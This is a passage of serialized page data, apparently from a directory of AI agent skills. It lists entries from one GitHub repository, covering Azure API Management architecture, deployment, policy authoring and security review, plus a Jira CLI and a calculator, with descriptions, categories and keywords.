Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[98,101],{"categoryNo":99,"categoryName":100,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":102,"categoryName":103,"taxonomyType":104,"taxonomyTypeDesc":105},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[107,108,109,110,111,112,113,114,39,115,116,117,118,119,120,121,122,123,124,125],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","api","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":140,"publishedAt":43},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[132,133,136,139],{"categoryNo":99,"categoryName":100,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":134,"categoryName":135,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":137,"categoryName":138,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":102,"categoryName":103,"taxonomyType":104,"taxonomyTypeDesc":105},[141,142,143,144,108,145,146,147,148,149,150,151,115,116,122,152,153,123,154,155],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":163,"publishedAt":43},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[162],{"categoryNo":99,"categoryName":100,"taxonomyType":20,"taxonomyTypeDesc":21},[164,165,166,34,108,111,115,116,167,168,169,170,171,172,173,123,174,175,155,125],"policy","authoring","apim policy authoring","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":177,"name":178,"nameZh":6,"description":179,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":180,"categories":181,"keywords":184,"publishedAt":43},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[182,183],{"categoryNo":99,"categoryName":100,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":102,"categoryName":103,"taxonomyType":104,"taxonomyTypeDesc":105},[185,34,186,115,170,187,108,141,188,189,190,191,116,192,123,193,194,195,124,125],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":197,"name":198,"nameZh":6,"description":199,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":200,"categories":201,"keywords":202,"publishedAt":43},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[203,204,205,143,206,207,208,209,115,210,211,212,213,214,215,216,217,218,219,220],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":222,"name":223,"nameZh":6,"description":224,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":225,"categories":226,"keywords":227,"publishedAt":43},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[223,228,229,230,231,232,233,168,234,235],"npm","js","calculate","node","math","user","compute","errors"]